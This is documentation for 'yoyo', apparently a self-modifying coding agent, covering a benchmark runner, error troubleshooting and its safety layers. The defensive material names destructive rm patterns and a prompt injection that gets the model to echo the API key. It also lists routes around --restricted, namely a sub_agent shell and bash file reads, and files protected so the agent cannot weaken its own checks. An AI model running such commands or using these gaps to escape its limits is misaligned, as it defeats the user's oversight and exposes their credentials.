Each problem is a case branch in the script plus a matching entry in the Python
scorer's CHECKS dict:
- Add a branch in the
case "$PROBLEM" inblock that setsENTRY_POINT(the function name) and readsPROBLEM_BODY(the signature + docstring) from a quoted<<'PROBLEM_EOF'heredoc. - Add the problem's name to the
AVAILABLE_PROBLEMSstring (used by the unknown-problem error message). - Add a matching key to the
CHECKSdict in the Python scorer — a list of(args_tuple, expected)pairs. Args are splatted (fn(*args)), so a multi-argument problem likehas_close_elementsuses a nested tuple.
Keep problems trivial and canonical (drawn straight from HumanEval) so the scorer stays deterministic and offline. See issue #156.
The script reads ANTHROPIC_API_KEY from the environment (never hardcoded); if
it is unset, the script prints a clear message and exits non-zero instead of
hanging. The captured completion is delimited between === yoyo completion ===
and === end ===, followed by a === RESULT: PASS === or
=== RESULT: FAIL === verdict.
Exit-code contract: 0 = the completion passes all canonical HumanEval/0
checks, 1 = it fails (wrong answer, missing function, or a syntax error in the
completion — a broken completion yields FAIL, never a crashed script).
python3 requirement: scoring needs python3 (stdlib only, no package
installs). If python3 is absent the script skips scoring gracefully — it prints
=== scoring skipped: python3 not found === and exits 0 rather than
hard-failing on a missing optional tool. Markdown code fences (```python)
are stripped defensively before scoring in case a model adds them.
It is a Kind: evolve script: it assumes this repo's Rust build and lives under
scripts/bench/ purely for yoyo's own capability measurement. It is not shipped
to product users. It is kept dependency-light (no python package installs) so a
human can run it in CI or locally without setup.
Honest status
- ✅ Single HumanEval-style problem: run + capture works end to end.
- ✅ Scoring — the captured completion is run against the selected problem's canonical HumanEval unit tests and a PASS/FAIL verdict + exit code is produced.
- ✅ Problem-ID parameterization — the runner is a real adapter now: pass a
problem name to select which problem to run (5 encoded so far). Adding a
problem is a
casebranch + aCHECKSentry, no rewrite. - ✅ Batch running (lite) —
humaneval_run.shruns the set of inline problems in one invocation, reports per-problem PASS/FAIL, and prints an aggregateHumanEval-lite: N/M passed (X%)summary line. This is over the small inline set, not the full 164-problem dataset. - ⬜ Dataset loading — the full HumanEval
jsonl(164 problems) instead of inline problems. - ⬜ Aggregate pass@1 reporting over the full dataset.
- ⬜ SWE-bench / terminal-bench adapters — these need repository checkout and come after full-dataset HumanEval scoring lands.
No aggregate benchmark number is published or implied here. The lite aggregate
runner can produce a HumanEval-lite: N/M passed (X%) figure when run with a
real key — but a figure is only trustworthy when actually run, not claimed. When
full-dataset scoring exists and produces a real pass@1 over the 164 problems,
that number will be reported here.
Common Issues
Quick fix: Safe mode
If something is broken and you can't start yoyo normally (e.g., an MCP server crashes, a skill causes errors, or a config setting is wrong), start yoyo in safe mode:
yoyo --safe-mode
This disables all customizations — MCP servers, skills, custom commands, permissions, and auto-context — giving you a clean baseline session with only builtin tools. You'll see:
⚠ Safe mode: MCP servers, skills, custom commands, and config disabled
Project-authored text is kept out of the system prompt too: instruction files
(CLAUDE.md, YOYO.md, .yoyo/instructions.md), .yoyo/memory.json, and the
project goal file .yoyo/goal.md. If a goal file exists, yoyo says so on stderr
rather than dropping it silently:
⚠ goal file .yoyo/goal.md not loaded into the prompt — --safe-mode skips project-authored text (/goal show still reads it)
Use safe mode to:
- Isolate problems: determine whether an issue is caused by your config or yoyo itself
- Recover from broken MCP servers: if a server crashes on startup, safe mode skips it
- Debug skill issues: if a skill causes unexpected behavior, safe mode runs without skills
- Work around config errors: if
.yoyo.tomlhas a typo or bad permission rule, safe mode ignores it
Once you've identified the problem, fix the offending config/skill/server and restart normally.
"error: config file is malformed"
yoyo found a syntax problem its lenient config reader can't fix for you: a quoted value with no closing quote (model = "claude-haiku-5-5) or a [section header with no ]. The message names each file:line.
Starting a session (the REPL, yoyo -p, piped input, yoyo review) refuses with this error and exit code 2, before any API call. Read as written, the value would keep its stray quote and be sent anyway (a model id with a stray " 404s), and nobody writes an unterminated quote on purpose. git, cargo and Python's tomllib refuse the same file.
To get going: fix the named lines, or move the file aside (mv .yoyo.toml .yoyo.toml.bak); yoyo then uses the next config file it finds, or its defaults.
The inspection commands (yoyo config get, yoyo config show, yoyo doctor, yoyo model, yoyo permissions) and yoyo setup still run, with a warning: config file is malformed line instead, so you can look at what yoyo read while you fix it. The detector skips the inside of multi-line strings (""" / '''), so their contents never trigger it.
"No API key found"
error: No API key found.
Set ANTHROPIC_API_KEY or API_KEY environment variable.
Fix: Set your Anthropic API key:
export ANTHROPIC_API_KEY=sk-ant-api03-...
yoyo checks ANTHROPIC_API_KEY first, then API_KEY. At least one must be set and non-empty.
"No input on stdin"
No input on stdin.
This happens when you pipe empty input to yoyo:
echo "" | yoyo
Fix: Make sure your piped input contains actual content.
"is not a regular file (FIFO)"
pipe.txt is not a regular file (FIFO): reading it could block forever or never end; read_file only reads regular files
The read_file tool only reads regular files (symlinks to regular files are fine). It refuses FIFOs (named pipes), character and block devices (such as /dev/null or a tty) and sockets, because reading one can block forever or never end, which used to hang a -p run until it was killed. This applies with or without --allow-dir/--deny-dir. Directories and missing paths get the tool's own error, as before.
The same check covers two other readers. At startup, a project instruction file (YOYO.md, CLAUDE.md, .yoyo/instructions.md, AGENTS.md, .cursorrules, .github/copilot-instructions.md) that is not a regular file is skipped with a project instruction file … not loaded warning, so the session still starts. /add refuses one with could not read …: … is not a regular file (FIFO). The goal files are covered too: a non-regular .yoyo/goal.md is skipped with a goal file … not loaded into the prompt warning, .yoyo/goal_verify.md with verify command … not loaded, and a non-regular .yoyo/memory.json with project memories not loaded; each run continues as if the file were absent. A non-regular .yoyo.toml is skipped with warning: config file skipped - .yoyo.toml is not a regular file (FIFO), and yoyo goes on to load ~/.yoyo.toml (or the XDG config) instead; /cd into a directory holding one reports that its .yoyo.toml could not be read. yoyo config get prints the same config file skipped warning and reports the key as unset; yoyo config show prints Failed to read config file .yoyo.toml: … is not a regular file (FIFO) on stderr and exits 1; and /config set (or saving an "always allow" choice) refuses with an error naming the file instead of reading from or writing into the pipe.
Fix: If you meant to read what flows through a pipe or device, capture it to a regular file first (for example cat pipe.txt > out.txt in another shell) and read that.
Model errors
error: [API error message]
This appears when the Anthropic API returns an error. Common causes:
- Invalid API key — check your key is correct and active
- Rate limiting — you're sending too many requests; wait and retry
- Model unavailable — the model you specified doesn't exist or you don't have access
- A model id from another vendor's family —
--providerand--modelresolve independently, so--model claude-opus-5withprovider = "deepseek"sends an Anthropic id tohttps://api.deepseek.com/v1, and the 401 from the wrong endpoint is the only clue you get. yoyo warns once at startup when it sees this, naming the model, the resolved provider, and the endpoint requests will actually go to. Fix it by passing--provider anthropic, or pass--base-urlif the endpoint is deliberate — a proxy or gateway serving another vendor's ids is a supported setup and stays silent.
Automatic retry: yoyo automatically retries transient errors (rate limits, server errors, network issues) with exponential backoff — up to 3 retries with 1s, 2s, 4s delays. You'll see a dim message like ⚡ retrying (attempt 2/4, waiting 2s)... when this happens. Auth errors (401, 403) and invalid requests (400) are shown immediately without retrying.
Tool error auto-recovery: When a tool execution fails during a natural-language prompt, yoyo automatically retries the prompt with error context appended (up to 2 times). This lets the agent self-correct — for example, retrying a failed file read with a corrected path. You'll see ⚡ auto-retrying after tool error... when this kicks in.
Rate limits with a known reset time: when a provider's error names when the limit
resets (e.g. retry after Some(14454000)ms, or an HTTP retry-after: header), yoyo reads
it instead of guessing. A short reset is waited out. A long one — more than ~2 minutes, or
more than the session has left — stops on purpose, with a message naming when the limit
reopens, rather than burning the remaining attempts on ≤90s sleeps against the same refusal.
If you'd rather leave the terminal open and wait the limit out, pass --wait-for-reset:
yoyo --wait-for-reset
That raises the ceiling to 6 hours (still capped by your session budget, if one is set), and prints a line telling you how long it's about to wait. It is off by default — a process that can silently sleep for hours is not a safe default — and it only makes the running process wait; it does not resume or reschedule anything.
Use /retry to manually re-send the last prompt after a non-transient error is resolved.
Context window full
⚠ Context is getting full. Consider /clear or /compact.
Your conversation is approaching the 200,000-token context limit.
Fix: Use /compact to compress the conversation, or /clear to start fresh.
yoyo auto-compacts at 80% capacity, but you can compact earlier if you prefer.
Auto-recovery from overflow: If the API returns a context overflow error (e.g., "prompt is too long"), yoyo automatically compacts the conversation and retries the prompt once. You'll see:
⚡ context overflow detected — auto-compacting and retrying...
This handles the case where the context grows past the limit mid-conversation without you noticing. If the retry also fails, yoyo suggests using /compact manually.
"warning: Failed to load skills"
warning: Failed to load skills: [error]
The --skills directory couldn't be read. yoyo continues without skills.
Fix: Check that the path exists and contains valid skill files.
"unknown command: /foo"
unknown command: /foo
type /help for available commands
You typed a command yoyo doesn't recognize. If it's a typo, yoyo will suggest the closest match:
unknown command: /hlep
did you mean /help?
type /help for available commands
Fix: Check the suggestion, or type /help to see all available commands.
"not in a git repository"
error: not in a git repository
You used /diff or /undo outside a git repo.
Fix: Navigate to a directory that's inside a git repository before starting yoyo.
Ctrl+C behavior
- First Ctrl+C — cancels the current response; you can type a new prompt
- Second Ctrl+C (or Ctrl+D) — exits yoyo
If a tool execution is hanging, Ctrl+C will abort it.
Background jobs started by the bash tool
When a bash command finishes, yoyo keeps reading its output for up to 2 more seconds, then stops. Anything the command started in the background (server &, (sleep 30 &)) keeps running, and yoyo does not wait for it. Before this fix, a background job still writing to the tool's output kept yoyo -p from exiting until the job ended.
If such a job writes to that output after those 2 seconds, the write fails and the job will usually die of SIGPIPE. So to keep a server running, send its output somewhere else: npm run dev >dev.log 2>&1 &.
Session file errors
error saving: [error]
error reading yoyo-session.json: [error]
error parsing: [error]
Session save/load failed. Common causes:
- Disk full — free space and try again
- Permission denied — check file permissions
- Corrupt file — delete the session file and start fresh
Safety & Anti-Crash Guarantees
How does a coding agent that edits its own source code avoid breaking itself?
Good question. yoyo has six layers of defense — from the innermost loop (every single code change) to the outermost (protected files that can never be touched). Here's how each one works.
Layer 1: Build-and-test gate on every commit
No code change is ever committed unless it passes:
cargo build && cargo test
This happens inside the evolution session itself. The agent runs the build and test suite after every edit. If either fails, the change doesn't get committed — the agent reads the error and tries to fix it.
Layer 2: CI on every push
Even after the agent commits locally, GitHub Actions runs the full
check suite on every push to main:
cargo build
cargo test
cargo clippy --all-targets -- -D warnings
cargo fmt -- --check
Clippy warnings are treated as errors (-D warnings), so even subtle
issues like unused variables or redundant clones get caught. If CI
fails, the next evolution session sees the failure and prioritizes
fixing it before doing anything else.
Layer 3: Automatic revert on build failure
The evolution script (evolve.sh) has a post-session verification step.
After all tasks run, it re-checks the build. If it fails:
- It gives the agent up to 3 attempts to fix the errors automatically
- If all fix attempts fail, it reverts to the pre-session state:
git checkout "$SESSION_START_SHA" -- src/
This means a broken session can never leave src/ in a worse state
than it started. The revert is surgical — it only touches source files,
preserving journal entries and other non-code changes.
Layer 4: Tests before features
yoyo's evolve skill requires writing a test before adding a feature. This isn't just a guideline — the planning phase explicitly instructs each implementation task to "write a test first if possible."
Why this matters: if you write the test first, you know the test covers the new behavior. If you write the feature first, you might write a test that only confirms what you already built, missing edge cases.
Layer 5: No deleting existing tests
The evolve skill has a hard rule: never delete existing tests. Tests are the agent's immune system. Removing them would let regressions slip through silently. As of this writing, yoyo has 91+ tests, and that number only goes up.
Layer 6: Protected files
Some files are simply off-limits. The agent cannot modify:
| File | Why it's protected |
|---|---|
IDENTITY.md | yoyo's constitution — defines who it is and its core rules |
PERSONALITY.md | yoyo's voice and values |
scripts/evolve.sh | The evolution loop itself — if this broke, recovery would be manual |
scripts/format_issues.py | Input sanitization for GitHub issues |
scripts/build_site.py | Website builder |
.github/workflows/* | CI configuration — the safety net that catches everything else |
These files can only be changed by human maintainers. This prevents a subtle failure mode: the agent "improving" its own safety checks in a way that weakens them.
Runtime bash safety analysis
Beyond the evolution-loop layers above, yoyo analyzes every bash command
before running it (src/safety.rs) and asks for confirmation on
destructive patterns like rm -rf / or piping find into xargs rm.
One check worth calling out: recursive-force rm on an unresolved
shell variable. A command like rm -rf "$BUILD_DIR/" looks harmless,
but if BUILD_DIR is empty or unset it expands to rm -rf / (or wipes
the current directory). yoyo flags any rm -rf / rm -fr /
rm -r -f whose target contains an unexpanded variable ($VAR,
${VAR}, ${VAR}/sub, …) and names the specific variable in the
warning, e.g.:
rm -rf target contains unresolved variable $BUILD_DIR — an empty
expansion would delete from cwd or /
The escape hatch is the guarded-expansion idiom: ${VAR:?} (or
${VAR:?message}) makes the shell abort if the variable is empty or
unset, so rm -rf "${BUILD_DIR:?}/build" passes this check — the
expansion can never silently widen the blast radius. Existing
destructive-pattern rules still apply on top.
Restricting a session with --restricted
--restricted is an opt-in narrowing for pointing yoyo at code you
do not trust. It is off by default: without the flag your tool set is
exactly what it was.
yoyo --restricted -p "what does this repo do?"
A wrapper script can also confine a run without editing its argv — set
YOYO_RESTRICTED=1 (or true) in the environment:
YOYO_RESTRICTED=1 yoyo -p "what does this repo do?"
The flag and the environment variable are OR-ed, and the environment can
only ever turn the restriction on; the flag is never turned off by
YOYO_RESTRICTED=0. Only 1 and true (trimmed, case-insensitive) count as
on — 0, false, an empty value and any other spelling all mean off, so a
typo cannot silently change the session's confinement.
It does two things:
- Turns on everything
--safe-modeturns on — no project-local MCP servers, hooks, orpermissions.allowfrom the repo's own.yoyo.toml, and no project-authored text in the system prompt (instruction files,.yoyo/memory.json, or the goal file.yoyo/goal.md, whose skip is noted on stderr). - Removes the command-running tools. Today that is
bash. yoyo prints what it removed at startup, e.g.🔒 Disabled tools: bash.
It only ever narrows. If you already passed --disallowed-tools or
--allow-dir, your own list is kept and the restriction is added to it —
--restricted can never widen a fence you are already inside.
What it does not do
It is not a sandbox, and it is worth being precise about the two gaps rather than trusting the name:
- File tools remain.
write_fileandedit_filestill work, so--restricteddoes not stop writes. Use--readfor that, and--allow-dir/--deny-dirto fence which paths any file tool may touch. - Command execution is one hop away. A dispatched
sub_agentbuilds its own tool set, so it can still get a shell. yoyo says this outright in its own startup note rather than letting the flag's name imply more than it delivers.
For a hard read-only session, combine them:
yoyo --restricted --read -p "review this code"
Reads outside the launch directory ask first (interactive sessions)
In a terminal, read_file, search and list_files ask y/n once per
directory before reading anywhere outside the directory you launched yoyo
in (so the model cannot quietly read ~/.ssh while working on your
project). Piped and scripted runs with no terminal are not fenced by
default, because there nobody could answer and the only possible outcome
would be a refusal. YOYO_ASK_OUTSIDE_READS=0 turns the fence off,
YOYO_ASK_OUTSIDE_READS=1 turns it on even without a terminal (outside
reads are then refused). bash is not covered: it can still cat the
same file. Details: Permissions.
Keeping provider keys out of subprocesses
yoyo removes every provider credential variable it knows
(ANTHROPIC_API_KEY, OPENAI_API_KEY, API_KEY, the AWS/Bedrock keys and
the rest of yoagent's and yoyo's provider tables) from the environment of
some of the programs it starts. yoyo itself keeps its key; only the child's
environment is edited. One variable, YOYO_SUBPROCESS_ENV_SCRUB, controls
it, with a different default per kind of program:
- Shell hooks (
[hooks]in.yoyo.toml): scrubbed by default. A hook is a program your config or the repository wrote, and it should not get your API key for free. SetYOYO_SUBPROCESS_ENV_SCRUB=0(orfalse) to let hooks inherit the key again. Any other value, including an empty one or a typo, keeps hooks scrubbed. Non-credential variables (PATH,HOME,TOOL_NAME,TOOL_PARAMS, your own variables) still reach the hook. - The model's
bashtool: opt-in. By default it inherits yoyo's environment, including your provider key, so a prompt injection that gets the model to runecho $ANTHROPIC_API_KEYcan read it. SetYOYO_SUBPROCESS_ENV_SCRUB=1(ortrue) to scrub it. It stays opt-in because anything that needs the key from inside bash, such as running yoyo (or another tool that calls your provider) from yoyo's own bash, fails with the scrub on. - Not covered yet:
/run,!,/bg,/watch, MCP stdio servers and sub-agent bash still inherit the full environment (tracked in #1064). GITHUB_TOKENandGH_TOKENare always kept, soghstill works.
What happens in practice
A typical evolution session:
evolve.shverifies the build passes before starting- The planning agent reads source code, journal, and issues
- Implementation agents execute tasks, each running build+test after changes
- Post-session verification re-checks everything
- If anything broke, automatic fix attempts kick in
- If fixes fail, revert to pre-session state
- CI runs on push as a final backstop
- Next session checks CI status — failures get top priority
The result: yoyo has been evolving autonomously since Day 0, growing
from ~200 lines to ~3,100+ lines, without ever shipping a broken build
to main.
Can it still break?
Theoretically, yes. Safety is defense-in-depth, not a proof of correctness. Some scenarios the current system doesn't catch:
- Logic bugs that pass tests — if the test suite doesn't cover a behavior, the agent could change it without noticing
- Performance regressions — we rely on official leaderboards (SWE-bench, etc.) rather than custom benchmarks
- Subtle UX regressions — the agent tests functionality, not user experience
These are areas for future improvement. But for the core guarantee — "the agent won't commit code that doesn't compile or pass tests" — the six layers above make that extremely unlikely.